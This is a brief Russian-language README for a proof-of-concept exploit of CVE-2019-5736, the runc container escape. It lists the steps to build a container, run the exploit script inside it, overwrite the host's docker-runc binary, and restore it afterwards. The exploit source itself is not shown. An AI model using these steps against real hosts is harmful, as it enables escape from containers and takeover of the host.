cve-2019-5736-poc

Для запуска:

• (1). отредактируйте команду poc в stage2.c
• (2). соберите docker docker build -t cve .
• (3). запустите docker docker run -d cve /bin/bash -c "tail -f /dev/null"
• (4). сделайте резервную копию docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
• (5). docker exec -it docker-id /bin/bash
• (6). внутри docker выполните cd /root && ./run.sh && exit
• (7). docker exec -it docker-id /bin/bash, bingo!!

выполните `strings /usr/bin/docker-runc | tail -n 2` чтобы просмотреть docker-runc  

выполните `cp /usr/bin/docker-runc.bak /usr/bin/docker-runc` чтобы восстановить docker-runc